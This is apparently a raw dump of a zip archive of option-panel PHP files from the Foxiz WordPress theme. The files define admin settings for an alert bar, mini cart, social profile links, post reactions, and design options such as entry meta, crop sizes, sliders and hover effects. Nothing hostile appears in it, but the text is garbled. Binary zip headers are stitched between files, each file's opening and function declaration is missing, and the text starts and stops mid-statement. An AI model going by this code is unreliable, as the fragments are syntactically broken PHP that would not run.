'foxiz_register_options_header_alert' ) ) { /** * @return array */ function foxiz_register_options_header_alert() { return array( 'id' => 'foxiz_config_section_header_alert', 'title' => esc_html__( 'Alert Bar', 'foxiz' ), 'icon' => 'el el-bell', 'subsection' => true, 'desc' => esc_html__( 'This section will show a small alert or event at the bottom of the navigation.', 'foxiz' ), 'fields' => array( array( 'id' => 'alert_bar_info', 'type' => 'info', 'style' => 'warning', 'subtitle' => esc_html__( 'The alert bar will not be available if you use a header template. The theme provides other ways for you to add any info into the header template via HTML, text and button and other blocks.', 'foxiz' ), 'default' => false, ), array( 'id' => 'alert_bar', 'type' => 'switch', 'title' => esc_html__( 'Alert Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the alert bar below the header. This option will be overridden by the setting in individual post/page.', 'foxiz' ), 'default' => false, ), array( 'id' => 'alert_home', 'type' => 'switch', 'title' => esc_html__( 'Only Homepage', 'foxiz' ), 'subtitle' => esc_html__( 'Only show the bar in the homepage.', 'foxiz' ), 'switch' => true, 'default' => true ), array( 'id' => 'alert_content', 'type' => 'textarea', 'title' => esc_html__( 'Alert Content', 'foxiz' ), 'subtitle' => esc_html__( 'Input your alert content to show.', 'foxiz' ), 'default' => '' ), array( 'id' => 'alert_url', 'type' => 'text', 'title' => esc_html__( 'Alert URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your alert URL.', 'foxiz' ), 'default' => '#' ), array( 'id' => 'alert_bg', 'type' => 'color', 'transparent' => false, 'validate' => 'color', 'title' => esc_html__( 'Background Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select background color for the bar.', 'foxiz' ) ), array( 'id' => 'alert_color', 'type' => 'color', 'transparent' => false, 'validate' => 'color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select text color for the bar.', 'foxiz' ) ), array( 'id' => 'dark_alert_bg', 'type' => 'color', 'transparent' => false, 'validate' => 'color', 'title' => esc_html__( 'Dark Mode - Background Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select background color for the bar in the dark mode.', 'foxiz' ), ), array( 'id' => 'dark_alert_color', 'type' => 'color', 'transparent' => false, 'validate' => 'color', 'title' => esc_html__( 'Dark Mode - Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select text color for the bar in the dark mode.', 'foxiz' ), ), array( 'id' => 'alert_sticky_hide', 'title' => esc_html__( 'Hide when Sticky', 'foxiz' ), 'subtitle' => esc_html__( 'Hide this bar on the sticky navigation.', 'foxiz' ), 'type' => 'switch', 'default' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_header_cart' ) ) { /** * @return array */ function foxiz_register_options_header_cart() { return array( 'id' => 'foxiz_config_section_mini_cart', 'title' => esc_html__( 'Mini Cart', 'foxiz' ), 'icon' => 'el el-shopping-cart', 'subsection' => true, 'desc' => esc_html__( 'Show a cart icon at the website header.', 'foxiz' ), 'fields' => array( foxiz_wc_plugin_status_info( 'header_mini_cart_info' ), array( 'id' => 'wc_mini_cart', 'type' => 'switch', 'title' => esc_html__( 'Header Mini Cart', 'foxiz' ), 'subtitle' => esc_html__( 'Show mini cart icon in the header.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'wc_mobile_mini_cart', 'type' => 'switch', 'title' => esc_html__( 'Mobile Header - Mini Cart', 'foxiz' ), 'subtitle' => esc_html__( 'Show mini cart icon in the mobile header.', 'foxiz' ), 'switch' => true, 'default' => 1 ), ) ); } }PK!Y<(<(panels/socials.phpnu[ 'social_theme_options_section_socials', 'title' => esc_html__( 'Social Profiles', 'foxiz' ), 'icon' => 'el el-facebook', 'desc' => esc_html__( 'Adding social profiles for your website.', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_socials', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Social Profiles', 'foxiz' ), 'indent' => true ), array( 'id' => 'facebook', 'type' => 'text', 'title' => esc_html__( 'Facebook URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ), 'default' => '#' ), array( 'id' => 'twitter', 'type' => 'text', 'title' => esc_html__( 'Twitter URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ), 'default' => '#' ), array( 'id' => 'youtube', 'type' => 'text', 'title' => esc_html__( 'Youtube URL ', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ), 'default' => '#', ), array( 'id' => 'instagram', 'type' => 'text', 'title' => esc_html__( 'Instagram URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ), ), array( 'id' => 'pinterest', 'type' => 'text', 'title' => esc_html__( 'Pinterest URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ), 'default' => '' ), array( 'id' => 'linkedin', 'type' => 'text', 'title' => esc_html__( 'LinkedIn URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'tumblr', 'type' => 'text', 'title' => esc_html__( 'Tumblr URL ', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'flickr', 'type' => 'text', 'title' => esc_html__( 'Flickr URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'skype', 'type' => 'text', 'title' => esc_html__( 'Skype URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'snapchat', 'type' => 'text', 'title' => esc_html__( 'Snapchat URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'myspace', 'type' => 'text', 'title' => esc_html__( 'Myspace URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'bloglovin', 'type' => 'text', 'title' => esc_html__( 'Bloglovin URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'digg', 'type' => 'text', 'title' => esc_html__( 'Digg URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'dribbble', 'type' => 'text', 'title' => esc_html__( 'Dribbble URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'soundcloud', 'type' => 'text', 'title' => esc_html__( 'Soundcloud URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'vimeo', 'type' => 'text', 'title' => esc_html__( 'Vimeo URL ', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'reddit', 'type' => 'text', 'title' => esc_html__( 'Reddit URL ', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'vk', 'type' => 'text', 'title' => esc_html__( 'VKontakte URL ', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'telegram', 'type' => 'text', 'title' => esc_html__( 'Telegram URL ', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'whatsapp', 'type' => 'text', 'title' => esc_html__( 'Whatsapp URL ', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'rss', 'type' => 'text', 'title' => esc_html__( 'Rss URL ', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL, Leave blank if you want to disable it.', 'foxiz' ) ), array( 'id' => 'section_end_socials', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_custom_socials', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Custom Social Profiles', 'foxiz' ), 'indent' => true ), array( 'id' => 'custom_socials_info', 'type' => 'info', 'title' => esc_html__( 'Please ensure that Font Awesome is enabled in "Theme Options > Theme Design > Font Awesome" if you use this font icon classname.', 'foxiz' ), 'style' => 'info' ), array( 'id' => 'custom_social_1_url', 'type' => 'text', 'title' => esc_html__( 'Custom social 1 - URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL.', 'foxiz' ) ), array( 'id' => 'custom_social_1_name', 'type' => 'text', 'title' => esc_html__( 'Custom Social 1 - Name', 'foxiz' ), 'subtitle' => esc_html__( 'Input the name of the social, for example: facebook, twitter.', 'foxiz' ) ), array( 'id' => 'custom_social_1_icon', 'type' => 'text', 'title' => esc_html__( 'Custom Social 1 - Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Input the name of font icon, for example: "fab fa-facebook".', 'foxiz' ), 'default' => '', ), array( 'id' => 'custom_social_1_color', 'type' => 'color', 'transparent' => false, 'validate' => 'color', 'title' => esc_html__( 'Custom Social 1 - Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for this social icon.', 'foxiz' ) ), array( 'id' => 'custom_social_2_url', 'type' => 'text', 'title' => esc_html__( 'Custom social 2 - URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL.', 'foxiz' ) ), array( 'id' => 'custom_social_2_name', 'type' => 'text', 'title' => esc_html__( 'Custom Social 2 - Name', 'foxiz' ), 'subtitle' => esc_html__( 'Input the name of the social, for example: facebook, twitter.', 'foxiz' ) ), array( 'id' => 'custom_social_2_icon', 'type' => 'text', 'title' => esc_html__( 'Custom Social 2 - Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Input the name of font icon, for example: "fab fa-facebook".', 'foxiz' ), 'default' => '', ), array( 'id' => 'custom_social_2_color', 'type' => 'color', 'transparent' => false, 'validate' => 'color', 'title' => esc_html__( 'Custom Social 2 - Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for this social icon.', 'foxiz' ) ), array( 'id' => 'custom_social_3_url', 'type' => 'text', 'title' => esc_html__( 'Custom social 3 - URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input your social profile URL.', 'foxiz' ) ), array( 'id' => 'custom_social_3_name', 'type' => 'text', 'title' => esc_html__( 'Custom Social 3 - Name', 'foxiz' ), 'subtitle' => esc_html__( 'Input the name of the social, for example: facebook, twitter.', 'foxiz' ) ), array( 'id' => 'custom_social_3_icon', 'type' => 'text', 'title' => esc_html__( 'Custom Social 3 - Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Input the name of font icon, for example: "fab fa-facebook".', 'foxiz' ), 'default' => '', ), array( 'id' => 'custom_social_3_color', 'type' => 'color', 'transparent' => false, 'validate' => 'color', 'title' => esc_html__( 'Custom Social 3 - Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for this social icon.', 'foxiz' ) ), array( 'id' => 'section_end_custom_socials', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } }PK!Ng"kkpanels/reaction.phpnu[ 'foxiz_theme_ops_section_reaction', 'title' => esc_html__( 'User Reaction', 'foxiz' ), 'desc' => esc_html__( 'Select options for the reaction section.', 'foxiz' ), 'icon' => 'el el-smiley', 'fields' => array( array( 'id' => 'single_post_reaction', 'type' => 'switch', 'title' => esc_html__( 'Reaction Section', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the reaction section at the end of single post pages.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'single_post_reaction_title', 'type' => 'text', 'title' => esc_html__( 'Reaction Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input a title for the reaction section. Leave blank to set it as the default.', 'foxiz' ), 'default' => '' ), array( 'id' => 'reaction_items', 'title' => esc_html__( 'Reaction Items', 'foxiz' ), 'subtitle' => esc_html__( 'Select reaction items you would like to show.', 'foxiz' ), 'type' => 'sorter', 'options' => array( 'enabled' => array( 'love' => esc_html__( 'Love', 'foxiz' ), 'sad' => esc_html__( 'Sad', 'foxiz' ), 'happy' => esc_html__( 'Happy', 'foxiz' ), 'sleepy' => esc_html__( 'Sleepy', 'foxiz' ), 'angry' => esc_html__( 'Angry', 'foxiz' ), 'dead' => esc_html__( 'Dead', 'foxiz' ), 'wink' => esc_html__( 'Wink', 'foxiz' ) ), 'disabled' => array( 'cry' => esc_html__( 'Cry', 'foxiz' ), 'embarrass' => esc_html__( 'Embarrass', 'foxiz' ), 'joy' => esc_html__( 'Joy', 'foxiz' ), 'shy' => esc_html__( 'Shy', 'foxiz' ), 'surprise' => esc_html__( 'Surprise', 'foxiz' ) ) ), ) ) ); } } PK!٨eepanels/design.phpnu[ 'foxiz_config_section_design', 'title' => esc_html__( 'Theme Design', 'foxiz' ), 'icon' => 'el el-idea' ); } } if ( ! function_exists( 'foxiz_register_options_design_category' ) ) { /** * @return array * post entry meta */ function foxiz_register_options_design_category() { return array( 'id' => 'foxiz_config_section_design_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'desc' => esc_html__( 'The category label display in the post listing.', 'foxiz' ), 'icon' => 'el el-folder-open', 'subsection' => true, 'fields' => array( array( 'id' => 'category_color_notice', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'To edit color for individual category, navigate to "Admin Dashboard > Posts > Categories > Edit".', 'foxiz' ), ), array( 'id' => 'category_highlight_color', 'title' => esc_html__( 'Highlight Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a highlight color for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'default' => '', ), array( 'id' => 'category_color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for the entry category to display in the post listing. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'default' => '', ), array( 'id' => 'category_dark_color', 'title' => esc_html__( 'Dark Mode - Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for the entry category to display in the post listing in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'default' => '', ), array( 'id' => 'max_categories', 'title' => esc_html__( 'Maximum Entry Categories', 'foxiz' ), 'subtitle' => esc_html__( 'Input a value to limited numbers of entry category show on all post listing layout, useful in case you have many categories per post.', 'foxiz' ), 'description' => esc_html__( 'Please blank to display all categories', 'foxiz' ), 'type' => 'text', 'class' => 'small-text', 'default' => '', ) ) ); } } if ( ! function_exists( 'foxiz_register_options_design_meta' ) ) { /** * @return array * post entry meta */ function foxiz_register_options_design_meta() { return array( 'id' => 'foxiz_config_section_meta_style', 'title' => esc_html__( 'Entry Meta', 'foxiz' ), 'desc' => esc_html__( 'These are small elements that display in the post listing ie: author name, date, total views, total comments...', 'foxiz' ), 'icon' => 'el el-adjust-alt', 'subsection' => true, 'fields' => array( array( 'id' => 'section_start_meta_icons', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Entry Meta Icons', 'foxiz' ), 'indent' => true ), array( 'id' => 'meta_author_label', 'title' => esc_html__( '"Posted" Author Label', 'foxiz' ), 'subtitle' => esc_html__( 'Show the "posted" text before the post author meta.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => 'meta_date_icon', 'title' => esc_html__( 'Published Date Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Show the icon before the post date meta.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => 'meta_updated_icon', 'title' => esc_html__( 'Updated Date Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Show the clock icon before the post updated meta.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => 'meta_comment_icon', 'title' => esc_html__( 'Comment Meta Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Show the icon before the post comment meta.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => 'meta_view_icon', 'title' => esc_html__( 'Post View Meta Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Show the icon before the post view meta.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => 'meta_read_icon', 'title' => esc_html__( 'Reading Time Meta Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Show the icon before the reading time meta.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => 'meta_category_icon', 'title' => esc_html__( 'Category Meta Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Show the icon before the post category meta.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => 'section_end_meta_icons', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_reading_speed', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Reading Speed', 'foxiz' ), 'indent' => true ), array( 'id' => 'read_speed', 'title' => esc_html__( 'Words per Minute', 'foxiz' ), 'subtitle' => esc_html__( 'Input number of words per minute to calculate the reading time. Default is 130', 'foxiz' ), 'type' => 'text', 'default' => 130, ), array( 'id' => 'section_end_reading_speed', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_human_time', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Human Time Format', 'foxiz' ), 'indent' => true ), array( 'id' => 'human_time', 'title' => esc_html__( 'Display Human Time (Ago)', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the human time format ("ago") for the data post entry meta.', 'foxiz' ), 'type' => 'switch', 'default' => '0' ), array( 'id' => 'section_end_human_time', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_edit_link', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Edit Post Link', 'foxiz' ), 'indent' => true ), array( 'id' => 'edit_post_link', 'title' => esc_html__( 'Edit Link', 'foxiz' ), 'subtitle' => esc_html__( 'Display the edit post link for the logged users on the featured image.', 'foxiz' ), 'type' => 'switch', 'default' => 1 ), array( 'id' => 'section_end_edit_link', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_design_meta_custom' ) ) { /** * @return array * post entry meta */ function foxiz_register_options_design_meta_custom() { return array( 'id' => 'foxiz_config_section_meta_custom', 'title' => esc_html__( 'Custom Entry Meta', 'foxiz' ), 'desc' => esc_html__( 'Setup your custom meta to display in the post listing and single post page.', 'foxiz' ), 'icon' => 'el el-asterisk', 'subsection' => true, 'fields' => array( array( 'id' => 'meta_custom_text', 'title' => esc_html__( 'Meta Label', 'foxiz' ), 'subtitle' => esc_html__( 'Input the label for this meta.', 'foxiz' ), 'type' => 'text', 'default' => '', ), array( 'id' => 'meta_custom_icon', 'title' => esc_html__( 'Meta Icon ClassName', 'foxiz' ), 'subtitle' => esc_html__( 'Input your custom CSS icon classname to display at the beginning of the meta.', 'foxiz' ), 'description' => esc_html__( 'If you use font Awesome. ensure that the setting in "Theme Design > Font Awesome" is enabled.', 'foxiz' ), 'type' => 'text', 'placeholder' => 'rbi-time', 'default' => '', ), array( 'id' => 'meta_custom_pos', 'type' => 'select', 'title' => esc_html__( 'Meta Label Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select position for the custom meta label at the beginning or end.', 'foxiz' ), 'options' => array( 'begin' => esc_html__( 'Prefix', 'foxiz' ), 'end' => esc_html__( 'Suffix', 'foxiz' ) ), 'default' => 'end' ), array( 'id' => 'meta_custom_fallback', 'type' => 'select', 'title' => esc_html__( 'Fallback Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select a fallback meta for displaying when if the post does not have custom meta value.', 'foxiz' ), 'options' => array( 'author' => esc_html__( 'author (Author)', 'foxiz' ), 'date' => esc_html__( 'date (Publish Date)', 'foxiz' ), 'category' => esc_html__( 'category (Categories)', 'foxiz' ), 'tag' => esc_html__( 'tag (Tags)', 'foxiz' ), 'view' => esc_html__( 'view (Post Views)', 'foxiz' ), 'comment' => esc_html__( 'comment (Comments)', 'foxiz' ), 'update' => esc_html__( 'update (Last Updated)', 'foxiz' ), 'read' => esc_html__( 'read (Reading Time)', 'foxiz' ), '0' => esc_html__( 'None', 'foxiz' ), ), 'default' => 'date' ), ) ); } } if ( ! function_exists( 'foxiz_register_options_design_featured' ) ) { /** * @return array * featured image */ function foxiz_register_options_design_featured() { return array( 'id' => 'foxiz_config_section_featured_image', 'title' => esc_html__( 'Featured Image', 'foxiz' ), 'icon' => 'el el-picture', 'desc' => esc_html__( 'Select settings for the post featured image on your website.', 'foxiz' ), 'subsection' => true, 'fields' => array( array( 'id' => 'section_start_lazy_load', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'General Settings', 'foxiz' ), 'subtitle' => array( esc_html__( 'Run regenerate thumbnail if you add/remove crop sizes. Please read documentation for further information.', 'foxiz' ), esc_html__( 'Assigning correct size for layouts is important for the look and give the best performance of your website..', 'foxiz' ), ), 'indent' => true ), array( 'id' => 'crop_position', 'type' => 'select', 'title' => esc_html__( 'Crop Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select position to crop the featured image.', 'foxiz' ), 'desc' => esc_html__( 'Recommended select the top position if you have people images.', 'foxiz' ), 'options' => array( 'top' => esc_html__( 'From The Top', 'foxiz' ), 'center' => esc_html__( 'From The Center', 'foxiz' ) ), 'default' => 'top' ), array( 'id' => 'featured_crop_sizes', 'type' => 'multi_text', 'class' => 'medium-text', 'show_empty' => false, 'title' => esc_html__( 'Define Custom Crop Sizes', 'foxiz' ), 'label' => esc_html__( 'Add a Crop Size', 'foxiz' ), 'subtitle' => esc_html__( 'This option will help you optimize the site speed or increase image quality on your website.', 'foxiz' ), 'desc' => esc_html__( 'Input a custom crop size: width x height. For example: 300x200', 'foxiz' ), 'add_text' => esc_html__( 'Create a New Crop Size', 'foxiz' ), 'default' => array(), ), array( 'id' => 'edit_link', 'type' => 'switch', 'title' => esc_html__( 'Edit Post Link', 'foxiz' ), 'subtitle' => esc_html__( 'Show the edit post link in the featured image for logged users.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'section_end_lazy_load', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_feat_size', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Default Crop Size Settings', 'foxiz' ), 'subtitle' => array( esc_html__( 'WordPress will crop uploaded images to ensure your website use the best image size for the blog layouts.', 'foxiz' ), esc_html__( 'Below is the list of image sizes. Enable or disable any size you would like.', 'foxiz' ), ), 'indent' => true ), array( 'id' => 'foxiz_crop_g1', 'type' => 'switch', 'title' => esc_html__( 'G1- 330x220', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable this image crop size.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'foxiz_crop_g2', 'type' => 'switch', 'title' => esc_html__( 'G2 - 420x280', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable this image crop size.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'foxiz_crop_g3', 'type' => 'switch', 'title' => esc_html__( 'G3 - 615x410', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable this image crop size.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'foxiz_crop_o1', 'type' => 'switch', 'title' => esc_html__( 'Original Ratio - 860x0', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable this image crop size.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'foxiz_crop_o2', 'type' => 'switch', 'title' => esc_html__( 'Original Ratio - 1536x0', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable this image crop size.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'section_end_feat_size', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_design_slider' ) ) { /** * @return array */ function foxiz_register_options_design_slider() { return array( 'id' => 'foxiz_config_section_slider', 'title' => esc_html__( 'Slider Animation', 'foxiz' ), 'desc' => esc_html__( 'Select settings for post sliders on your website.', 'foxiz' ), 'icon' => 'el el-resize-horizontal', 'subsection' => true, 'fields' => array( array( 'id' => 'slider_play', 'type' => 'switch', 'title' => esc_html__( 'Auto Play Next Slides', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable autoplay for the sliders.', 'foxiz' ), 'switch' => true, 'default' => '1' ), array( 'id' => 'slider_speed', 'type' => 'text', 'validate' => 'numeric', 'title' => esc_html__( 'Auto Play Speed', 'foxiz' ), 'subtitle' => esc_html__( 'Input a custom time value to next a slide in milliseconds (default is 5000).', 'foxiz' ), 'default' => '' ), array( 'id' => 'slider_effect', 'type' => 'select', 'title' => esc_html__( 'Slide Effect', 'foxiz' ), 'subtitle' => esc_html__( 'Select a effect for the sliders. This setting will be not available for the carousel mode.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Slide', 'foxiz' ), '1' => esc_html__( 'Fade', 'foxiz' ), ), 'default' => '0' ), array( 'id' => 'slider_fmode', 'type' => 'switch', 'title' => esc_html__( 'Carousel Free Scroll', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable free mode when scrolling on the carousels.', 'foxiz' ), 'default' => true ) ) ); } } if ( ! function_exists( 'foxiz_register_options_design_format' ) ) { /** * @return array */ function foxiz_register_options_design_format() { return array( 'id' => 'foxiz_config_section_post_format', 'title' => esc_html__( 'Post Format Icons', 'foxiz' ), 'desc' => esc_html__( 'Select settings for your post entry meta.', 'foxiz' ), 'icon' => 'el el-record', 'subsection' => true, 'fields' => array( array( 'id' => 'post_icon_video', 'title' => esc_html__( 'Video Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable icon for the video post format.', 'foxiz' ), 'type' => 'switch', 'default' => 1 ), array( 'id' => 'post_icon_gallery', 'title' => esc_html__( 'Gallery Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable icon for the gallery post format.', 'foxiz' ), 'type' => 'switch', 'default' => '0' ), array( 'id' => 'post_icon_audio', 'title' => esc_html__( 'Audio Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable icon for the audio post format.', 'foxiz' ), 'type' => 'switch', 'default' => '0' ), array( 'id' => 'icon_video_color', 'title' => esc_html__( 'Video Icon Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color value for the video icon. This setting will not apply to bottom right layout', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'icon_gallery_color', 'title' => esc_html__( 'Gallery Icon Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color value for the gallery icon. This setting will not apply to bottom right layout', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'icon_audio_color', 'title' => esc_html__( 'Audio Icon Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color value for the audio icon. This setting will not apply to bottom right layout.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ) ) ); } } if ( ! function_exists( 'foxiz_register_options_design_readmore' ) ) { /** * @return array * read more settings */ function foxiz_register_options_design_readmore() { return array( 'id' => 'foxiz_config_section_readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'desc' => esc_html__( 'Select settings for the read more button on your website. You can enable/disable this part per module via Modules Design section.', 'foxiz' ), 'icon' => 'el el-arrow-right', 'subsection' => true, 'fields' => array( array( 'id' => 'readmore_label', 'type' => 'text', 'title' => esc_html__( 'Read More Label', 'foxiz' ), 'subtitle' => esc_html__( 'Input the read more label to display on your website. Default is "Read More".', 'foxiz' ), 'default' => '' ), array( 'id' => 'readmore_icon', 'title' => esc_html__( 'Read More Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Show a icon after the read more label.', 'foxiz' ), 'type' => 'switch', 'default' => 1 ) ) ); } } if ( ! function_exists( 'foxiz_register_options_design_hover' ) ) { /** * @return array */ function foxiz_register_options_design_hover() { return array( 'id' => 'foxiz_config_section_design_hover', 'title' => esc_html__( 'Hover Effects', 'foxiz' ), 'icon' => 'el el-hand-up', 'desc' => esc_html__( 'Select hover effect settings for your website.', 'foxiz' ), 'subsection' => true, 'fields' => array( array( 'id' => 'hover_effect', 'title' => esc_html__( 'Link Hover Effect', 'foxiz' ), 'subtitle' => esc_html__( 'The setting below applies to the post title and hyperlinks.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( '- Default -', 'foxiz' ), '2' => esc_html__( 'Style 2', 'foxiz' ), '3' => esc_html__( 'Style 3', 'foxiz' ), '4' => esc_html__( 'Style 4', 'foxiz' ), '5' => esc_html__( 'Style 5', 'foxiz' ), '6' => esc_html__( 'Style 6', 'foxiz' ), '7' => esc_html__( 'Style 7', 'foxiz' ), '8' => esc_html__( 'Style 8', 'foxiz' ) ), 'default' => '1', ), array( 'id' => 'menu_hover_effect', 'type' => 'select', 'title' => esc_html__( 'Menu Hover Effect', 'foxiz' ), 'subtitle' => esc_html__( 'The setting below applies to top level menu items.', 'foxiz' ), 'options' => array( '1' => esc_html__( '- Default -', 'foxiz' ), '2' => esc_html__( 'Style 2 (Opacity)', 'foxiz' ) ), 'default' => 1 ), ) ); } } if ( ! function_exists( 'foxiz_register_options_design_svg' ) ) { /** * @return array * font icons settings */ function foxiz_register_options_design_svg() { return array( 'id' => 'foxiz_config_section_svg_supported', 'title' => esc_html__( 'SVG 